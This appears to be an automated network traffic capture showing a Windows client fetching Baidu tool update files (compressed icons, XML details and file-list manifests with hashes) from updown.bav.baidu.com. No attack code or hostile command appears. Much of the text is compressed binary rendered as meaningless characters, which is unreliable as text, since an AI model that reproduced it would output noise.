......f>.....]......]G.F...}i.{..xc.....q...d.<....=.hC...Pz.v..
.W............A.a.-.......K9............'{%..B...s.....'Qk..-Y...G.R7#
t.&..Dh..y0N..b...4..fIFL.Ib..t...Tj..b.....e..-b.....e...Lf.m...zY.:.
N.l...m..n.&....G.......N ......hs.v.nCz.."..PP.......>......P..7.)
. ..}IA.>..[:......../7/A...y..!....!`...'.s2.a...I ..T.F..L.v.....
3.Cy...8|P..t.L..@O.f...x....z.."`.....m...7.\...$..\._Q.4....D.o.....
.^.....8.9z...(...]...FNW...../...}K....zS....i..tM`..$3........c....k
)..;."....c..i.|.~t.2.........X..g.>...? ..3...%R.a.\..........[.8.
..\.....)F%>.:..0........;.......5WH.e..".x...>/R.g.].n....%....
......P.J......CU\ .N..RA......x....8x.(v.N......:.....T. 4.....v...h.
...i...F.O..PC....N.U.g5....*.F........TEP?...o...S....o...H^........t
.*EH..2.<....x....... .K....m..e).H...L6u...k.v 6.Y.JH..%RA....g*..
/........,.A...9....m....zH..Wu..c..)b..^]E.V....f.Ly....!.i>i.<<< skipped >>>

GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon5N.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:34 GMT

Content-Type: image/png

Content-Length: 2751

Connection: keep-alive

ETag: "dbfc56d-abf-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 646596

Content-Range: bytes 0-2750/2751

Accept-Ranges: bytes

Ohc-Content-Crc: 2396816002

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...sZ.9I.......V........-k..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1..3.
.....!....(..........].WJ.r.S[..:.......7..<......1..i.')...~o....=
.u.&....W.Q'..={.../y=...O..D..._..o.R.-.m.. ...*.....s..Y...y_X....".
..L../...k....x.N.=.G..1?.(.......b...........D.s......_.3.....$.GZ..r
.1...j....'..u.iw..\...........%k........?...7.}..~h2.Z....>...B...
.9M.............r.m.o.Q..QA.[..\@.XR..7..\.,..z./.)............}.....q
.`...*...)..OA<....<.p.k....#..w=S..8.....;.n)......"...z....w..
.D.Y....Rz].j......1....]E.%..]%-...Z./ett..y....jU/.mq........F..>
....B .J.<....*:Y3....ju}.......8.....!Y0.r_..3.....(.q..n ..8.0M{.
...U..!...u.....AZ..............b.g.-. ..../...F*.l./.P.ZiH.B.T.......
:.2..A....Z.....Q.......9 *..i....:.. |.|.....$.....r...=.L..#.......a
B..jb3..\y...P.E..E{.1X.,j.]........N...E..KnH.X!G?.............5.....
t.|.q6Gp....k.?q..{)......B.....Q8y|.-..U.L..._bb..2mIJp4..;).:.U.I...
 .2yv..0....A....r...>.n..:.._N....8"..Z4(M...J..q.:...wzGA.L......
Gv..sn...:.b..cT...(.\...E-:...)@....Y....S......w.S....b.4.a cO..V...
P.v....xM.....-.0...v.....9&.x..~....Uk].Gr..,......p...`z.....C...
...wEM9h..hn0..uW A..3....z5.A...k.v.y.-.1V..w.... :.j.V^qw.......<<< skipped >>>

GET /baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:35 GMT

Content-Type: application/xml

Content-Length: 1007

Connection: keep-alive

ETag: "dbfc68b-3ef-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 643009

Content-Range: bytes 0-1006/1007

Accept-Ranges: bytes

Ohc-Content-Crc: 463088396

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......,y.......V.........I:........f......{4.Y..!..h.A...z...v..h
.&...#u......`p6.vw".....4.....x.6...M..T@9."...S<nZ.....&:.%.(....
....b-.w*e.g.&..aI....4rdnv....g.Ww.?hv..h......."...;.K.........P.~.O
$b.. mLO.=..R.........:x *.(.W....j.Zh....;.....r.G..a]._.TVg.:.ks6..9
._....n7.."...g..5R.i.............o...j...[........9w`..c...;......."A
"..{. ...t..9..8B.D..LI,...$Y$7.=[WA..A.B$..y.#G...y........tW^xU.~P.~
pG..t.....2..'...}5/...u9..9.s\..........B.FJ...B,!K..,-"..;.y.Y..#...
.b../%......!{.n......e[.<.:5.db..-...{'"O...T.Q...#..Kz)?.kj..P...
..'.CVI...#.......3t.x...o.6.Pn.Ku16.......^....\2........8h^....~ok.3
 .......X.R?=..\..h..Q...wn.].W......~.`..u.$.'.T.....>.v..@MW.,.t.
C>R..U.... .|a...t7F..._. tx [!4.....I!b.......<."\.>_..m%...
...........d.p..(........y...gE...^..i.....G)..........@B}2._P...\8..X
.*......Y...o.rv...<3..sc...}...(...*.:P......[.@ ........].[.t..kZ
r0)....K]U..,c.....9gR.................y......#....]......F.....1!....
....d.e.t.a.i.l...x.m.l........-> .q...... .........


GET /baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/detailDef.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:35 GMT

Content-Type: application/xml

Content-Length: 1013

Connection: keep-alive

ETag: "dbfc68d-3f5-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 643009

Content-Range: bytes 0-1012/1013

Accept-Ranges: bytes

Ohc-Content-Crc: 713580271

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...~]..y.......\...................f......{4.Y..!..h.A...z...v..h
.&...#u......`p6.vw".....4.....x.6...M..T@9."...S<nZ.....&:.%.(....
....b-.w*e.g.&..aI....4rdnv....g.Ww.?hv..h......."...;.K.........P.~.O
$b.. mLO.=..R.........:x *.(.W....j.Zh....;.....r.G..a]._.TVg.:.ks6..9
._....n7.."...g..5R.i.............o...j...[........9w`..c...;......."A
"..{. ...t..9..8B.D..LI,...$Y$7.=[WA..A.B$..y.#G...y........tW^xU.~P.~
pG..t.....2..'...}5/...u9..9.s\..........B.FJ...B,!K..,-"..;.y.Y..#...
.b../%......!{.n......e[.<.:5.db..-...{'"O...T.Q...#..Kz)?.kj..P...
..'.CVI...#.......3t.x...o.6.Pn.Ku16.......^....\2........8h^....~ok.3
 .......X.R?=..\..h..Q...wn.].W......~.`..u.$.'.T.....>.v..@MW.,.t.
C>R..U.... .|a...t7F..._. tx [!4.....I!b.......<."\.>_..m%...
...........d.p..(........y...gE...^..i.....G)..........@B}2._P...\8..X
.*......Y...o.rv...<3..sc...}...(...*.:P......[.@ ........].[.t..kZ
r0)....K]U..,c.....9gR.................y......#....]......F.....1!....
....d.e.t.a.i.l.D.e.f...x.m.l........-> .q...... .........


GET /baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:36 GMT

Content-Type: image/png

Content-Length: 1764

Connection: keep-alive

ETag: "dbfc68f-6e4-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 682829

Content-Range: bytes 0-1763/1764

Accept-Ranges: bytes

Ohc-Content-Crc: 2326203587

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...ZNgnh.......\........|.X.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u...6..Lj......@.N..>.`...........>..PI..
 Hp.H...]..,0....w.4.3..Vj....%.w.[..z.c.[...o..d.m......h.3..d.pI.Q N
.['....~...N..-n=W.[jd..33Je.&..'9:......m.%.-..W..w.h.=.O.@.@.}.4u..V
.... O..,...H.....h.$!..lv.?....>.*(D.7Y..#......G....9.r.i.RC.,...
] ....CJ=..U..}..v..Hwla.I..2;.l..ay.\*0.........d....?.<..ai./p.:.
.z[.<.Fa...`#P.......6.....D..:./..r.......l. ............r$.dt....
..y).J...oe.=.}.K..,.W.Dn....2...b..jmDE.7..&...A......wi....2<6.t.
.....~l.Q....m........"...?9..B.z...,Z^.....fd....EPn..w...K9b.....I.A
=..2..../.,n..>...L=.7t.45(C.d1z.n.{.....'t..U..BVz..0,.|.U...U.j..
9L...0/.....5gU/_o.Q...s..\....>.....q.`..%..B..|....WH..QE.M..m..'
.Q.I.X_..3..........qtp.?]$.w.C>,1..q....D..L..,.).e...>.... &%h
.ZI|....B.K....l.....(..Um....A_.O=...K".-.j9].......N 6un....-.i.....
.9..Z....}..?.\...{.."3.?!..u.E......8D=Q7..y.l.K@Li.z.......h*.>..
.@....e.._............u.u9...s.W.]E.....M.#.6..K. lm.V..7y.\a.n...g...
8.,.....@........*L....R..=-vm.U.|.....M..j..K..<...A..#'...0..^.='
.{....N 6...~b..=I..y..~......c..o.(.N_w..rv...4..u...W.~...Xq...s<<< skipped >>>

GET /baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:36 GMT

Content-Type: image/png

Content-Length: 1919

Connection: keep-alive

ETag: "4c3e016-77f-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 683798

Content-Range: bytes 0-1918/1919

Accept-Ranges: bytes

Ohc-Content-Crc: 1640628445

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....G&t........R..........u.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...uN.$.,.:Zv=....D......... ....".._..N.g..[.....
.(n..X.u.............~b.........*.c.A.....o:..x.9.>..............a.
...3..../Vz..X.(.....#eKY.5PZG.pZ..o<....$@......-A(.&...K.....J).6
./..... .a..K./[..^_..(.....@..~..2E..P...m..~...Ga.a...&a~..'.....D^d
3....5..,...F..i.~.uw...AN4...I.~..@...)....U<d=.4?4C.....o.vQ..l..
t...z....}.hf*.*H.$\.....I`....<-D...o....$).3..4.uJ..v.A.!....NS.r
<;ww.....g....u..x..a.R[l....8....{..k..].K.....q-ipr.*l..h..#....0
@...]l.y..j.....M........=..7 ..iv.w....k..................Z.G..-..f l
.5.#.hT.vV.......r........q]..}b..%..fA..K<G.........u..q..H.Ka.).Z
......R......:^.s..C....3...gh.F.p,B.e0..>..:..W~Z|....b/...... .@.
1Y.........C.#......r...*..=..[..3D. 8..E....'.....2.y...9(@Azk... %.v
<.&.iLR ....r.fU.>..?...@j9.I. .O>.)i{.${l.....0L...k.....'5.
........D.p.r..V..._Lt.Ro...K..w....#.....4Jj.......#....y...A*......N
..9.....i.%C. ......].(...#.#..............y...j &H...[dv..;....h.n)..
U.#.f.$.{v.......c..I..)........W..T=..,...D.ep......GF..a&.O04 ..|^..
.8B.U..?....t..)0.Y..:..o.l'.=ZB...}..n.....:..,5.8;.SY........?..<<< skipped >>>

GET /baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:36 GMT

Content-Type: application/xml

Content-Length: 1400

Connection: keep-alive

ETag: "50fa88a-578-5170bbc501fc0"

Last-Modified: Wed, 27 May 2015 08:07:35 GMT

Age: 1119166

Content-Range: bytes 0-1399/1400

Accept-Ranges: bytes

Ohc-Content-Crc: 2259721542

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000578" Md5="0x7027980E04354DA8179BE0041F2428
AE" />..<ToolInstall>..<File Name="128B4BEC-5D89-43AD-BAA8
-207084AA0E4F.zip" Size="0x0038dccc" Time="0x01d094659d9b5350" Md5="0x
d9fb170af967e61e0e07554907d997f7" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x000003f5" Time="0x
01d094659dc0dda6" Md5="0x8d7583744ab13da88cdd2ccd7b4696d8" DcSize="0x0
000092a" DcTime="0x01d094659dbdd052" DcMd5="0x6df2a0f7520e6dd5748e2294
87aec9a7" />..<File Name="gray_icon.png.7z" Size="0x00000509" Ti
me="0x01d094659dc809c5" Md5="0xba917560d1ea37786b1fefa01d51a8bb" DcSiz
e="0x0000060f" DcTime="0x01cf9bed658c93c0" DcMd5="0x4707082129cfa143fe
54c270358a519b" />..<File Name="gray_icon2.png.7z" Size="0x00000
4e6" Time="0x01d094659dcc76b2" Md5="0xe2356da086c22df2ab6638fbc3711104
" DcSize="0x000005e6" DcTime="0x01cf9bed658c93c0" DcMd5="0xb0eac47e32a
e6fec0cb96fa51ac6ecba" />..<File Name="icon.png.7z" Size="0x0000
0619" Time="0x01d094659dd1a6f4" Md5="0x7eb48575652714ff77c85c53fabbb61
1" DcSize="0x00000723" DcTime="0x01cf9bed658c93c0" DcMd5="0x10844cab5d
a3193ff6e47c1ad48c4c37" />..<File Name="icon2.png.7z" Size="0x00
0005ce" Time="0x01d094659dd884f1" Md5="0x7cc43366330e1b8f2b6140fcbdf46
5f5" DcSize="0x000006db" DcTime="0x01cf9bed658c93c0" DcMd5="0x335e560d
17c2b13113837b8908310060" />..</ToolSummary>..</ToolFileLi
st>....
<<< skipped >>>

GET /baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:37 GMT

Content-Type: application/xml

Content-Length: 1013

Connection: keep-alive

ETag: "50fa88f-3f5-5170bbc501fc0"

Last-Modified: Wed, 27 May 2015 08:07:35 GMT

Age: 1118834

Content-Range: bytes 0-1012/1013

Accept-Ranges: bytes

Ohc-Content-Crc: 1056131320

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......[........V......... .........f......{3.....(1v%f M*.m..]...
IJ@..L.P.. I.........=s.`...^b...F.....f.*..B..Tw.Ab...........u.I.&..
..}.\..Z?.|......;.IwU.......Qi.ty...Vu..Q..1...K.v a.I.E.V(j. e.d.?..
.....K.bDW..s.G.N......N.2..#. #.....J..!..^.,......>,...G...5....j
....T..h...V|.......Ai....X<S.C...P:..K..m^.7.....Ji..n.J..W<0..
..xoL..V...1..j-y...=..=^....y...kb6......g..^..c.%.H.L4.w...v...7p^&g
t;.F...\......r.x..2..a...."...{.......K./..Z*I-4f......v.{.r.u.....x.
.N....u.."#..],...%.64s;0....G..8:.X...._../Q#:.......G. !`?:NOu].V..)
6....1...H...p......./......!wOf.M...x.....`Y|.i....}.[(........Om..H.
.g...6j.7...P........;/...'..{./`.....\.....^......*A....../.].u.(.u'.
...3..ADu?_e.....a~...:... .....\6y..f.]..3.@..*7{;.\.VT.mn....a..d:Q.
;..P....i..A~......i..uW.N.!L.?.......6b......j...9 ......F...@..|...t
..5j..ELi....x.k..)..wIT.......1qn6...>..../_.....v....oS.....703..
...@...... F_....w.^}|..:.....................#....]......*.....R.....
....d.e.t.a.i.l...x.m.l.......R...e....... .........


GET /baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:37 GMT

Content-Type: image/png

Content-Length: 1289

Connection: keep-alive

ETag: "50fa891-509-5170bbc501fc0"

Last-Modified: Wed, 27 May 2015 08:07:35 GMT

Age: 1118616

Content-Range: bytes 0-1288/1289

Accept-Ranges: bytes

Ohc-Content-Crc: 1642595617

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....4y]........\..........F.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1..3.
.....!....(..........].C..SN....`.Rg|.t...o;....B...FB.4.-z6E...^.....
.#, .....ih.c...<..../H..~.7~q..Y..PdX{..~J.....Z.c..yQ..n.O......N
...2..}.^.#>.#Jc..........S...l?.....V.m.4k..p......mT......e.,...w
^..FY.\....Y.........i..%K..Fd.V...o..t....h...@_.=......tR....>._.
.y..N]...e...:.x.-z....._6}VP...Rr..q"...=..Y}....mq...GR.p-?.9..3....
..7c.....O........n..}..q.\.._F8?H*.B6.%.ia..Cc.(7MM..F.k.N........F..
.-."&..t.Nx8.!.X...._.S.>.)..\.......]A....0.qG....:..c7/.. ......'
.^0.75..c"U.A>.z#x..C...e)y.....N....G.m#.../.n..../...... ..z.B...
.#3.$.........."..?E"....b..t.z.b.`..b|.....Yc...ytaw~..).`..=9b...$[.
.U....c..=.:...a&..o..DXD.f....t......?p.N ......*.....8  ..it..t.!.=.
...g..d.b.o.].R..k...P.V.CT..82.<..V.........U.......b4r.P........=
.8i......5.b.......v....D.....`..............#....]........... ..y....
...g.r.a.y._.i.c.o.n...p.n.g..........e........ .........
<<< skipped >>>

GET /baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:37 GMT

Content-Type: image/png

Content-Length: 1254

Connection: keep-alive

ETag: "50fa893-4e6-5170bbc501fc0"

Last-Modified: Wed, 27 May 2015 08:07:35 GMT

Age: 1118908

Content-Range: bytes 0-1253/1254

Accept-Ranges: bytes

Ohc-Content-Crc: 1893088551

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....t.Nh.......^.......Q.6..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f............,x.G2U.L.......m..?....&.'......@._.(
@/.8H2u....rz4c... ..2.N.k....,...nP.[= ........=..G.E...u.X>.:....
/..U5.Y/......J.e...!...2.P.Hc>.D...G..?<0..T.S@ K..3..,8.$..o1s
b{2t'=/g2..#..ac....#z...F.rR^.x.Z./.X..2q.>..Yv...bMH#w.c"e..(E...
..C.....6....G.n.........3x.D...........`..k.6.....8.=........J...l"t`
...1..b<..F$...E..^..?..@-....../%...3.TU(..(L@...NZb.ywWg....C...j
&....E.r1=N.i.....P*.7..m.....NzPi...2p.?.-.kS.T.. ..k...:............
....#.2..u=.r.).nr...:...D..... .36......63.e.O....90....&.S4JqW..n...
............G..r`.z.N.#.Ff.y.C..........T.. Q........3k.0_,1..lND<.
*..\.>._Ou.....~...8.s....>..x..X ..l.]yWZC...7...T..| .N.....}.
.6......T?.'...O.7bA...r..Y.8.3>v..~.x0.@.....o....o."}...`..0.K4lt
 .........h......#....].............I........g.r.a.y._.i.c.o.n.2...p.n
.g..........e........ .........
<<< skipped >>>

GET /baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:38 GMT

Content-Type: image/png

Content-Length: 1561

Connection: keep-alive

ETag: "50fa895-619-5170bbc501fc0"

Last-Modified: Wed, 27 May 2015 08:07:35 GMT

Age: 1118787

Content-Range: bytes 0-1560/1561

Accept-Ranges: bytes

Ohc-Content-Crc: 2216461077

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...}...........R........Lv..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1..3.
.....!....(..........].C..SN....5 u...L......^.......a...$....."a.....
3...I.....n...|:......e.!z..$Y7....m....=....vy.......>.?.>..L..
..U..d....G...0...; ..r....9.4w0.d.....'..4./..."..eF1...y.|.#I....D\.
...k..pM.aH...A...3OJ...vf.......izRb.. ..Q.6. ;M...U.=..;o.2..x.}....
/...\]...p...Q...I..) .P^...A"...Q....7.....G....A*....eND,G#&Y..a.`X.
iI.3H6...n.P..O-....2p.s%..q.s;....|4.E..3*Cf.....bp..}.....pUa..r....
.bi...B.D...s|...M........6..Hr......OT.....B......v..R..#,..Z.....a..
;.~J...).B.'..]@g7-!.|.].........L(G?m}.KfS....8..n..yPz.......o[P../.
(4...y.S..'..........h.aC...k.?.>..'2.........#.lll.g,..3.X....P..2
......".BG.?.8.w..R..]..6.ng.#.t.mA.*"./.G.. ....~f.....N... .M1.w..}.
S.j......u....*.;.|........4*..P_/.h....S..!.......*k..!...HA..M....(.
.:..A.L.4...x.g.7.....f...N..:.......28.\.c'.d..u.....!Y.3.....:.p4~u.
..G6.@t....Y...Q......I2 ...B@.!u.........v....&..h.i..A}\.....c.C..CS
3!.D.<.q.Cg.{.,..A0.G...1P.......8.........l.R.......?.x...7....$..
.......\.=.....l..U@r<..v#......&....`.n8Z....V/.1..H.....R.....7..
..............|.-.;..G....L.]...............#....]......#.......}.<<< skipped >>>

GET /baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:38 GMT

Content-Type: image/png

Content-Length: 1486

Connection: keep-alive

ETag: "50fa897-5ce-5170bbc501fc0"

Last-Modified: Wed, 27 May 2015 08:07:35 GMT

Age: 1118616

Content-Range: bytes 0-1485/1486

Accept-Ranges: bytes

Ohc-Content-Crc: 3872320883

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.......Z.......T......... ..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f......0...).....<...<....... .L..P.....nF.%
....9..uP.&u....,r.2!..pp.1.|....(f.....Fx...a|E\oS.d.....P(Y...;_..t.
..V.C.b..j.de.?..Q.'7......&..M&N]....W..L......4....G...D_..}.A.vk...
4M..2.Y..X.I..N. .....m.........9.m...#.G....Uh-L`.nF..T....Lq.t...4(.
,s..n..G.ib..8... /kv.%p ]...a..U..fr..F>@A(...:B.5.t..D0..;...ta. 
.8..}5.....8..rb^zzOA.0...^t.@2B.;.@.''eT.....^#JOn...&Nz.`.......:...
...Y...z,Y.......g.[.....T.(..-.O.2...y..;...I\U.Rf89b0.%&...~......'.
9....Kh.Zld.AT}.{.....p.6c3...\<.f.!.j.k...!.......E..w..}8..:UA.].
.....lm_; ..L..1/..._vJ...Z.....f^.4\..'..j...q%OE..EFT.....`.G.]...3.
.2.............E.j..\T...Z...........Ft.T....Q....:.#.'...*zC%(..5..P~
A.......0.cWoG.aq.....e]..Ia7..y.......70..].Z...E.lk...c{.Z.c/.U..2}.
...................\...1K,[U..........S.x..SD.'.X..Z......g".%q....1AF
.."(~.R..l./...W..&...gZb.=.....x9.......P!.....h..q@.....%<......`
}a.z].....q..p_..{..t..........qr$}..~..r.*;.. ..YZ.....P*.K.$lF.%V\.8
...`..m;Ky ..s..e...$.........Z......#....]............../.......i.c.o
.n.2...p.n.g..........e........ .........
<<< skipped >>>

GET /baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:38 GMT

Content-Type: application/xml

Content-Length: 1399

Connection: keep-alive

ETag: "51307e8-577-51826eea26fc0"

Last-Modified: Wed, 10 Jun 2015 09:59:35 GMT

Age: 1112493

Content-Range: bytes 0-1398/1399

Accept-Ranges: bytes

Ohc-Content-Crc: 3993920640

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000577" Md5="0xCB350F493512C79AE6A1FD7491D1DB
1D" />..<ToolInstall>..<File Name="E839B20B-DE0B-461d-A3CD
-769DFA88F488.zip" Size="0x0022a5da" Time="0x01d0a1d42d0c36d3" Md5="0x
29b0f17130bc0746b47c6c49c84b858d" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x000002c9" Time="0x
01d0a1d42f60bd68" Md5="0xbbb0127425793c8c9a98edf93d27d6bd" DcSize="0x0
0000552" DcTime="0x01d0a1caf4135ca8" DcMd5="0x832f6b9fbedb803d28b90d11
2a580914" />..<File Name="gray_icon2.png.7z" Size="0x00000667" T
ime="0x01d0a1d42f630767" Md5="0x393d65f5c9784c9520cea4a20c31fd94" DcSi
ze="0x0000076f" DcTime="0x01cfa5afde6686e0" DcMd5="0x293bbcab0035841d0
b54c12ea1a36648" />..<File Name="icon2.png.7z" Size="0x00000ae6"
 Time="0x01d0a1d42f657877" Md5="0x151dfe28786c67942e6f5efc957b3519" Dc
Size="0x00000be1" DcTime="0x01d0094704dfca48" DcMd5="0x556c26d8591f8d4
62abc5deadf4681e3" />..<File Name="icon4G.png.7z" Size="0x000005
8b" Time="0x01d0a1d42f67e987" Md5="0xb70529f12a8dd561539b2c204188a76e"
